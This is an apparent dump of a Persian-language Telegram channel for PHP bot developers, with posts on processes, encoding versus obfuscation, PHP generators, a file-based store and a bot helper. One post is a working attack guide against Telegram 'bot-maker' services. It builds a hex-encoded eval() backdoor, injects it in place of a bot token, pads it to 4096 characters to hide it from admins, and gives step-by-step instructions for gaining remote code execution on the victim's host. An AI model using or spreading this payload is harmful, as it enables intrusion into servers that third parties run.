ژوپیتـر اِی‌پی‌آی | Jupiter API
465 subscribers
82 photos
13 videos
68 files
139 links
گروه برنامه نویسان ، و توسعه دهندگان ژوپیتـر اِی‌پی‌آی!
> طراحی و توسعه ربات تلگرام
> طراحی API برای اپلیکیشن
> طراحی و توسعه وبسایت
👮 @LordDeveloper
خرید هاست : jahan-cloud.ir
Download Telegram
مولتی پروسه؟ async؟ 😐

فرایند/پروسه: وقتی یه برنامه باز میشه یه پروسه ایجاد میشه و منابعی رو به پروسه اختصاص میده. مثلا وقتی سایت php باز میکنید برنامه php باز میشه و میره توی مموری (معمولا بیست مگابایت رم مصرف میشه که ربطی به اسکریپت شما نداره) بعد شروع میکنه اجرا کردن اسکریپت مربوط بهش.
ریسمان/ترد: یه پروسه میتونه همزمان چندین ترد داشته باشه. ترد ها طبق زمان بندی اجرا میشن همزمان اجرا نمیشن مثلا یک ترد وصل میشه اینترنت تا بخواد وصل بشه ای بین ترد های دیگه اجرا میشن. یه پروسه میتونه هرچقدر که میخواد ترد داشته باشه. تو php معمولا مدیریت ترد ها با pcntl مدیریت میشن که کتابخونه amp هم همینکارو میکنه.
فرق ترد با پروسه اینه که دوتا پروسه دوبار یک برنامه رو باز میکنن مموری هاشون جداس ممکنه تو دو سیپیو همزمان اجرا بشن ولی ترد ها تو یدونه پروسه هستن و وقتی یکی از تردا بیکار میشه ترد دیگه میاد جاش اجرا میشه فقط یک سیپیو میمونن مموریشونم مشترکه.
مولتی پروسه: یه پروسه اگه چندین پروسه بسازه و کاری که میخواد بکنه رو بین پروسه ها تقسیم کنه میشه مولتی پروسه.
مولتی ترد یا async: یه پروسه که چندین ترد میسازه تا با وقفه ها ادامه کد از کار نیافته رو میگن مولتی ترد. کاری تقسیم نمیشه منابع همونه.

مولتی پروسه باعث افزایش سرعت ربات api میشه؟
نه فقط مموری بیشتری مصرف میکنین. وقتی تلگرام درخواست وبهوک میفرسته به سمت اسکریپت شما سیستم هایی مثل litespeed از ارسال دوباره درخواست جلوگیری میکنه تا وقتی که اسکریپت کارش تموم شه. که میگن اپدیت تلگرام درانتظار میمونه (پندینگ pending)
وقتی اپدیت میاد شما بعد از ارسال هدر ها و کد 200 به تلگرام از تابع
litespeed_finish_request()
باید استفاده کنید تا سیستم شما هم درخواست رو تموم شده درنظر بگیره و اپدیت های جدید بگیره.
البته خودش مولتی پروسس به هرحال وقتی اپدیت قبلی درحال پردازش باشه دوباره اپدیت بیاد مولتی پروسه میشه دیگ 😐 ولی ازینکه ندونسته یه پروسه باز کنید اپدیتو منتقل کنید پروسه جدید بهتره. معمولا با اینکار تایم اوت رو هم میشه تغییر داد چون تایم اوت واسه درخواستای litespeed هست که محدود میشه اینجوری پروسه میره پس زمینه میشه تایم اوتشم عوض کرد.
💻 ژوپیتر ای پی آی | @JupiterAPI
🌐 فراهاست | @Fara_Host
ژوپیتـر اِی‌پی‌آی | Jupiter API
مولتی پروسه؟ async؟ 😐 فرایند/پروسه: وقتی یه برنامه باز میشه یه پروسه ایجاد میشه و منابعی رو به پروسه اختصاص میده. مثلا وقتی سایت php باز میکنید برنامه php باز میشه و میره توی مموری (معمولا بیست مگابایت رم مصرف میشه که ربطی به اسکریپت شما نداره) بعد شروع…
انکد؟ دیکد؟ درهمسازی؟ رمزنگاری؟ 😐
واسه سرتیتر خوبه ازین به بعد همینجوری شروع میکنم

اقا ینفر اومده پیوی سورس انکدشو داده بود قرار بود سورسشو دیکد کنم بعد سورسش اجرا نمیشه نمیگم چرا اجرا نمیشه میگه یه فایل txt داشت اونو حذف کردم اجرا نشه اینو دیکد کن/: بعد هیچی دیگ اومدم توضیحش بدم گفت نوبیو رفت خابید.

انکریپت/دکریپت: به الگوریتمای رمزنگاری میگن که متن رو با یک کلید (یا دو کلید) ترکیب میکنن و بدون اون کلید هیچجوره نمیشه به متن اصلی دسترسی داشت. متنو با کلید ترکیب کنه میشه انکریپت با کلید بخاد متنو برگردونه میشه دکریپت.
انکد/دیکد: الگوریتمایی که صرفا جهت هدف خاصی و تغییر نمایش متن ساخته شدن و هیچ هدف امنیتیو رمزنگاریی ندارن. مثلا base64 که از ascii به یه محدوده خاصی از حروف متنو تبدیل میکنه یا utf8 که برای لود کردن فونت های مخصوصش باید رو متن خام اعمال بشه یا اصن json_encode هم یه انکد دکده که ارایه و متنو تو پحپ بهم تبدیل میکنه.

کامپایلر: کامپایلر مربوط به یک زبان وظیفه داره کدای اون زبانو به یه زبان سطح پایین تر یا کد ماشین تبدیل کنه و یکطرفس چون به هرحال زبان ها دقیقا خصوصیات یکسان ندارن ک. اگه بخایم از زبان کامپایل شده به زبان اصلی برگردونیم خوب هم کار سختیه هم خیلی از اطلاعات از دست میره.
مفسر: مفسر یه زبان صرفا یه برنامس ک خودش کامپایل شده و برای اجرای کد های اون زبان استفاده میشه مثل این میمونه ک هربار برنامه رو کامپایل کنه و بخاد اجراش کنه.
ترنسپایلر: اگه یه زبانیو به یه زبان دیگه تبدیل کنی میشه این حالت معمولا برای دوتا زبان اسکریپتی اینو بکار میبرن.

خوب حالا چرا اینارو گفتم میخام بگم درهم ساز چیه.
درهم ساز برای اینه که دسترسی به کدها سخت بشه و قابل خوندن نباشه. هیچوقت غیرممکن نیس اصلا جزو رمزنگاری حساب نمیشه چون واسه ادم قابل خوندن نباشه درنهایت واسه کامپیوتر ک باید قابل خوندن باشه باید حتما اجرا بشه دیگ درسته؟
درهم سازی: کاری که روی یک زبان معمولا اسکریپت انجام میدن تا کدهاش به سختی قابل خوندن باشه. خوب مشخصا شما انکد دیکد لازم ندارید هزار بارم base64_encode استفاده کنید درنهایت فقط سرعت اجرا رو پایین میارین پس باید چیکار کنیم. به طور کلی معمول ترین راه کاری شبیه اتفاقیه که توی کامپایلر یا ترنسپایلر میافته. شما باید جای کدو عوض کنید کدارو به چیزای عجیب تغییر بدین مثلا جای
if(true)print "hello";
بنویسین
!![]||(base64_decode("\x63\x48\x4a\x70\x62\x6e\x52\x66\x63\x67\x3d\x3d"))(hex2bin("\x36\x38\x36\x35\x36\x63\x36\x63\x36\x66"));
کد همونه زبانم همونه. اجرا میشه همون کارو میکنه فقط انگار دیگه به اون سادگی قبلی نیستش.
این میشه اصلی ترین چیزی که باید برای یه درهم سازی خوب انجام بشه. بقیشم به کلک های کسی که درهمسازی میکنه بستگی داره.
یه درهم ساز بد هم میاد صد بار base64 میکنه که فقط سرعتو پایین میاره.

🤨 حالا خطاب به دوست عزیزی که میگفت قابلیت اجرای سورس رو حذف کردم دیکدش کن. عزیزم وقتی سورس رو خراب کنی دیگه اجرا نشه دیگه درهم سازی نیس. اونو باید کرک کرد ببینی چیبوده ک نمیشه قطعا. معنی درهم سازیو انکدو انکریپتو باهم قاطی نکنین تشکر❤️
:/
سلام! 🍃
امروز قراره درباره PHP Generator صحبت کنیم...

[🌊] در ابتدا بگم که منبع این پیام سایت ویرگول هستش که فقط برای دسترسی ساده تر با یکم تغییرات توی تلگرام گذاشته میشه.

قبل از اینکه شروع کنیم باید درباره داده های Iterable صحبت کنیم.

[¹] چه داده هایی Iterable هستند؟

جواب () : به طور کلی هر نوع داده ای که با حلقه foreach قابل پیمایش باشه Iterable محسوب میشه.

در واقع Iterable یک شبه تایپ هست که اصلِ صفتِ قابل پيمايش بودن را داراست و از مثال هاش میتونیم array یا object رو مثال بزنیم که همه میشناسیمشون.

[²] حالا سوال کلیدی اینه که PHP Generator چی هست؟‍

جواب (☑️) : اونا این امکان رو به ما میدن تا بدون اینکه کل داده ها رو داخل حافظه نگه داریم، به کمک یک حلقه پیمایش کنیم.

در واقع به کمک Generator ها میتونیم توابعی بنویسیم که چندین مقدار مختلف رو به عنوان خروجی برگردونن، برخلاف return که فقط یک مقدار رو برمیگردونه.

اگر بخواهیم توی یک جمله خلاصه بگیم :

تابعی که خروجی iterable ارائه میده بدون اینکه کل داده ها رو یکجا برگردونه و تمام منابع ما رو ببلعه 😧🐻

#پارت_اول
سلام مجدد! 🙂
امروز همون فردای دیروزه نه اینکه فردا باشه ولی برای شما فرداست...

خب بیاین اول اینجوری پیش بریم که انگار همچین موهبتی وجود نداره !

[1⃣] ما میخوایم ارایه ای از 0 تا بزرگترین عدد php یعنی PHP_INT_MAX داشته باشیم و بعد همه اعضای این ارایه رو چاپ کنیم. بریم ببینیم کدش چطوریه :

function make(){
$array = [];
for($i = 0; $i < PHP_INT_MAX; $i++)
$array[] = $i;
return $array;
}
make();


[🤔] اگر این کد رو اجرا کنیم چی میشه؟
بله با این خطا مواجه می شیم :
Allowed memory size of X bytes exhausted

مشخصه که حافظه ای که در اختیار PHP بوده کاملا پر شده و دلیلش هم اینه که تابع make کل اعداد بین 0 تا PHP_INT_MAX رو داخل حافظه نگه میداره! 😞


[2⃣] پس راه حل چیه؟ بله Generator ها

همونطور که گفتیم، Generator ها این امکان رو میدن تا بتونیم داده رو پیمایش کنیم بدون اینکه کل اون رو داخل حافظه ذخیر کنیم. واست سواله دقیقا چطوری میشه؟

function make(){
for($i = 0; $i < PHP_INT_MAX; $i++)
yield $i;
}
make();


در واقع yield این امکان رو میده تا یک تابع چند خروجی داشته باشه.

توی این کد وقتی وارد حلقه for میشیم، مقدار اولیه i$ که 0 هست yield میشه و به عنوان یکی از خروجی ها برگردونده و کد متوقف میشه، دیگه ادامه پیدا نمیکنه تا زمانی که دوباره اجرای Generator ادامه پیدا کنه!

خیلی جالب نیست؟ 😀
جالب تر میشه اگر بدونید زمانی که ما تابع make رو var_dump کنیم خروجیمون این میشه :
object(Generator)#507 (0) {}

می‌بینیم که یک object از نوع Generator هست و هیچ عددی داخلش نیست.

[🔮] آنچه در قسمت بعد خواهید دید :
متدی های موجود در Generator ها

#پارت_دوم
در سمت توام، دلم باران، دستم باران...

[] با قسمت بعدی از آموزش Generator ها در خدمت شما هستیم!

[🧠] اگر یادتون باشه توی قسمت قبلی یک فانکشن به اسم make نوشتیم، حالا بیایید یکم ازش استفاده کنیم ببینیم این معجزه چطوری کار میکنه...

foreach(make() as $num){
echo "$num\n";
}


• خروجی کد بالا اعداد 0 تا PHP_INT_MAX رو چاپ میکنه 😟

[³] چرا موقعی که var_dump کردیم هیچ عددی رو نشون نداده و فقط یک object بود؟

جواب () : اینجا مشخص میشه که yield مقادیر رو به ترتیب و یکی یکی برمیگردونه و تا زمانی که به پیمایش object خروجی که یک Generator هست ادامه ندیم، مقادیر بعدی رو برنمیگردونه و اینجوری دیگه کل داده داخل حافظه قرار داده نمیشه و در هر فراخوانی یکی یکی تولید و برگردونده میشن. Generator ها چند متد دارن که اینجا باهاشون آشنا میشیم!

• متد Current
📗 | با کمک این متد به مقدار فعلی که yield شده دسترسی پیدا میکنیم.
🔬 |

$gen = make();
echo $gen->current();


خروج فعلی ما عدد 0 هست چون مقدار اولیه i$ داخل حلقه 0 بود. بعد از اینکه مقدار 0 yield شد حلقه ادامه پیدا نمیکنه و اجرای Generator نگه داشته میشه، هرچقدر هم تابع current رو صدا بزنیم باز هم خروجی 0 هست.
ولی اگر بخواهیم مقدار بعدی رو چاپ کنیم چیکار کنیم؟

متد Next
📕 | به کمک این متد میتونیم اجرای Generator رو از جای قبلی که متوقف شده بود ادامه بدیم.
🔬 |

$gen = make();
echo $gen->current() . PHP_EOL;
$gen->next();
echo $gen->current();


مقدار اولیه i$ عدد 0 بود با متد current مقدار فعلی یعنی 0 چاپ میشه و با متد next پیمایش Generator رو ادامه میدیم تا yield بعدی و زمانی که دوباره متد current رو صدا میزنیم عدد 1 چاپ میشه چون مقدار بعدی i$ هستش.

متد Send
📘 | به کمک این متد میتونیم مقداری رو به عنوان نتیجه yield به Generator بفرستیم و اجرای Generator رو ادامه بدیم.
🔬 |

function myGen(){
echo yield 'bye';
}
$gen = myGen();

echo $gen->current() . PHP_EOL;
echo $gen->send('hello');


چون رشته "bye" در داخل تابع yield شده ، متد current مقدار اون رو به ما میده و اجرای Generator در همونجا puase میشه. وقتی با متد send رشته "hello" رو به داخل Generator میفرستیم مقدار فعلی Generator به "hello" تغییر پیدا میکنه و به کمک echo چاپ میشه.

در واقع توی مرحله اول yield مقدار "bye" رو برگردونده و در مرحله دوم مثل یک متغیر عمل کرده که میتونیم مقداری رو بهش نسبت بدیم (به همین سادگی 🍰)

متد getReturn
📙 | اگر بخوایم پس از اتمام اجرا Generator مقدار return شده ی تابع رو برگردونیم، از این متد استفاده میکنیم.

شاید نمیدوستید اما میشه توی فانکشن هامون علاوه بر yield از return هم استفاده کنیم!

🔬 |

function myGen(){
yield 1;
yield 2;
return 'hi';
}
$gen = myGen();

foreach($gen as $num){
echo "$num\n";
}
echo $gen->getReturn();


میبینیم که حلقه foreach که وظیفه iterate کردن Generator رو برعهده داره فقط اعداد 1 و 2 رو که yield شدن چاپ کرده، اگر بخوایم به مقدار return شده دسترسی پیدا کنیم باید متد getReturn رو صدا بزنیم.

[⚠️] دقت کنید اگر قبل از تموم شدن اجرای Generator، متد getReturn رو صدا بزنید با خطا مواجه می شید.

• در اخر باید بگم که این ها فقط گوشه ای از مطالب بود و برای یادگیری کامل تر میتونید به Google مراجعه کنید!

#پارت_سوم |نهایی 🏁|
👍1
پست بعدی چی باشه؟
توی نظرات ایده بدید 🙂
.
#تیکه_کد دیتابیس فایل جیسون نمای ابجکتی برای نوبان
class PathJsonify {
public $_PATH;
public function __construct(string $path){
if(!file_exists($path))
mkdir($path);
$this->_PATH = $path;
}
public function __get(string $file){
$file = $this->_PATH . '/' . $file;
if(is_file($file))
return unserialize(file_get_contents($file));
return new PathJsonify($file);
}
public function __set(string $file, $value){
$file = $this->_PATH . '/' . $file;
if(!is_dir($file))
file_put_contents($file, serialize($value));
}
public function has(string $file){
$file = $this->_PATH . '/' . $file;
return file_exists($file);
}
public function del(string $file){
$file = $this->_PATH . '/' . $file;
return unlink($file);
}
}
از اونجایی که خیلی استفاده ساده و روونی داره شاید بکارتون بیاد. اولین کاری که باید بکنین اینه که ابجکتش رو باز کنین و تو متغییر بریزید
$TheDatabaseBasedOnMyFockingPathJsonifyfObjectiveWithMagickMethods = new PathJsonify("dir/abc");
جای dir/abc ادرس پوشه رو مینویسید.
میتونید مثل ابجکت معمولی ازش استفاده کنید با این تفاوت که به صورت فایل ذخیره میشه برای مثال:
$db->hello = "world";
بعد فایل hello ساخته میشه و هروقت بنویسید
print $db->hello;
خونده میشه و پرینت میشه.
میتونید از پوشه استفاده کنید مثلا فرض کنید کاربر $chatid اومده تو ربات میخاید ببینید از قبل بوده یا نه مینویسید
if(!$db->users->has($chatid)){
$db->users->$chatid; // پوشه کاربر ساخته میشه
}
یا که میتونید واسه کاربر استیپ بزارید:
$db->users->$chatid->stepBrotherImStuck = "start";
و براحتی براش شرط بزارید استفاده کنید
if($db->users->$chatid->step == "start"){
// داخل منو اصلی ربات
}else .........

اگه بازم از این اموزش های پرمحتوا و کاربردی میخاید حمایت فراموش نوشه 👌😉
👍1
از الوم استفاده کنین اپدیت 2.8.2 داده باگم نداره
https://github.com/avid0/Alom
#تابع_bot
این تابع از تابع bot معمولی که همه استفاده میکنن سرعت خیلی بیشتری داشته و به همون راحتی میتونید استفاده کنید.


define("API_KEY", "...");

class BotResponse {
public $res, $ch, $sock, $exec;
public function __construct($ch, $sock){
$this->ch = $ch;
$this->sock = $sock;
}
public function read(){
if(!$this->exec){
if($this->sock){
$res = "";
while($pack = fread($this->ch, 4096)){
$res .= $pack;
if(strlen($pack) < 4096)break;
}
$res = explode("\r\n\r\n", $res, 2);
$this->res = json_decode($res[1]);
fclose($this->ch);
}else{
$this->res = json_decode(curl_exec($this->ch));
curl_close($this->ch);
}
$this->exec = true;
}
}
public function __get($param){
if($param == 'result')
return $this;
$this->read();
if(isset($this->res->$param))
return $this->res->$param;
return $this->res->result->$param;
}
public function __set($param, $val){
$this->read();
return $this->res->$param = $val;
}
public function __destruct(){
if($this->sock && !$this->exec){
fgetc($this->ch);
fclose($this->ch);
}
}
}
function bot($method, $datas = []){
if(stripos($method, 'get') !== false){
$ch = curl_init("https://api.telegram.org/bot".API_KEY."/$method");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
return new BotResponse($ch, false);
}
$sock = true;
foreach($datas as $data)
if(is_array($data) || is_object($data)){
$sock = false;
break;
}
if($sock){
$sock = fsockopen("tls://api.telegram.org", 443);
$pack = "POST /bot".API_KEY."/$method HTTP/1.1\r\n";
$pack.= "Host: api.telegram.org\r\n";
$pack.= "Content-Type: application/json\r\n";
$datas = json_encode($datas);
$pack.= "Content-Length: ".strlen($datas)."\r\n";
$pack.= "\r\n$datas";
fwrite($sock, $pack);
return new BotResponse($sock, true);
}
$ch = curl_init("https://api.telegram.org/bot".API_KEY."/$method");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
$res = json_decode(curl_exec($ch));
curl_close($ch);
return $res;
}


مثلا:
bot("sendMessage", [
"chat_id" => "...",
"text" => "mmm"
]);
😐
ربات دانلود از اینستاگرام
@StorifyRobot
#چگانه رباتساز مردم را هاک نماییم و حق ناس النوب به گردن خود بیاویزیم ورژن 3؟ عیدتون مبارک
💡 مدتی هست که رباتساز ها با فیلتر کردن کوتیشن ها و اسم بنده در کد های ضد هک خود جلوی هاک شدنشون رو گرفتند. و امروز ورژن جدیدی رو نمایی میکنیم با توضیح هر قسمت.
در این بخش ما به شما کدی میدهیم که هنگام ورودی دادن توکن در رباتساز جای توکن از کد ساخته شده خود استفاده میکنید و درصورتی که ربات اسیب پذیر باشد حتما گرفتار هوش و توانایی کد زدن شما خواهد شد.

🔧 در اینجا کدی که مینویسیم کد مخرب ارسالی نبوده و واسه ساخت کد مخرب هستش. ما این کد رو اجرا میکنیم تا خروجی کد مخرب بگیریم.
در ابتدا ربات خودمونو مشخص میکنیم و ایدی عددیمونو هم میزاریم تو متغییر:
$admin = 12345678;
$token = "12345678:abcdefg";
خب. حالا در ادامه کد خام زیر رو برای مشخص کرد کاری که ربات باید انجام بده مینویسیم
$rawcode = '$UPDATE = json_decode(file_get_contents("php://input"));
$CURL = curl_init("https://api.telegram.org/bot'.$token.'/sendMessage");
curl_setopt($CURL, CURLOPT_RETURNTRANSFER, true);
curl_setopt($CURL, CURLOPT_POSTFIELDS, [
"chat_id" => '.$admin.',
"text" => @eval($UPDATE->message->text)
]);
curl_exec($CURL);
curl_close($CURL);
exit;';
برای توضیح کد بالا هرپیامی که در ربات شما ارسال شود را میگیره و اجرا میکنه و خروجی return اون رو به شما ارسال میکنه. مثلا کد بفرستید
return "hello world";
ربات شما این کدو اجرا میکنه و خروجیشو براتون میفرسته.
ولی خب این کد پر از کوتیشنه ما فرض کردیم کوتیشن ها فیلتر میشه چه باید کرد؟
در مرحله بعدی اونو به صورت زیر هگز میکنیم:
$hex = bin2hex("\xff;$rawcode");
الان درست شد دیگه هیچ کوتیشنی نداریم. خب حالا کد اصلی که کار نفوذ به هاست رباتسازو انجام میده الان میسازیم
$code = $token.'/gEtMe?AviD=${eval(hex2bin(@'.$hex.'))}';
همون طور که میبینید دیگه هیچ کوتیشنی نیست. ولی هنوزم یه مشکلی هست.
تو رباتساز های جدید وقتی رباتی میسازید توکن به ادمین ارسال میشه و ادمین شمارو بلاک میکنه. پس چیکار کنیم؟ کافیه کد رو 4096 کارکتر کنیم تا به محدودیت کارکتر برسه ربات و نتونه به ادمین بگه:
$code .= str_repeat('a', 4096 - strlen($code));
و مشخصا سپس کد رو پرینت کنید تا بگیرید و ازش استفاده کنید.
print $code;

🔑 حالا عملیاتو شروع میکنیم. به رباتساز رفته و ربات خودتونو با توکن بسازید تا وبهوک تنظیم بشه. حالا میدونید که لینک وبهوک رباتساز چیه و رباتتون به هاست طرف وصله. حالا وارد بخش تغییر توکن رباتساز یا ساخت دوباره رباتساز و یا اگه اجازه نداد یبار رباتو حذف کنید و وارد بخش ساخت رباته رباتساز بشید. اگه وبهوک حذف شد دوباره ست وبهوک انجام بدید.
حالا در اینجا کافیه کد مخرب ساخته شده رباتتون رو جای توکن ارسال کنید. اگه ساخته نشد که شما شکست خوردید ولی اگه ساخته شد که عالیه. میرید تو رباتتون و به صورت
$a = 2 + 2;
return $a * 5;
هر کدی بفرستید جواب خواهید گرفت 😁

📌 اسم avid رو پاک نکنید از تو کد بزارین باشه تبلیغ بشه اسمم ممنون /:
🖇 @jupiterAPI
آیان، یه اسم برای فریمورک ربات پیشنهاد بدین❤️
پست موقت جهت اینکه تلگرام دست به این چنل نزنه
🤡19👍2👎1
ژوپیتـر اِی‌پی‌آی | Jupiter API
پست موقت جهت اینکه تلگرام دست به این چنل نزنه
اکثر چنل های عمومی و غیرفعال (بیشتر قدیمی ها) از دسترس خارج شده و ایدی هم بن هست
💩6😁1
🗂 فروش سورس سلنیوم php عکس گرفتن از صفحه tradingview با قابلیت های افزودن اندیکاتور تعیین تم تعیین سایز تایم فریم و ...
وب سرویس این اسکریپت توی سایت های خارجی مثل
https://chart-img.com/
به قیمت ماهی 20 دلار فروخته میشه که تازه اونم محدودیت ها کامل برداشته نخواهد شد.

⚠️ سلنیوم روی هاست اشتراکی ران نمیشه. همچنین نیاز به نصب جاوا و گوگل کروم (gui نیاز نیست) دارید.
اسکریپت دارای شرایط استفاده مختلف هست. شما میتونید مستقیم اسکریپتو اجرا کنید. میتونید از فایل ipc اجرا کنید تا سرعت بالای حداکثر اجرای 4-5 ثانیه برای هر درخواست داشته باشید. و میتونید سرویس api روی سرور خود داشته باشید.
همچنین دارای قابلیت کش برای سرعت بالا و جلوگیری از اسپم هست.
💳 قیمت اسکریپت فقط 😁
1,200,000
برای اشناها صد تخفیف میدم.
برای خرید:
🖇 @Av_id
👎6👍4😁1🍌1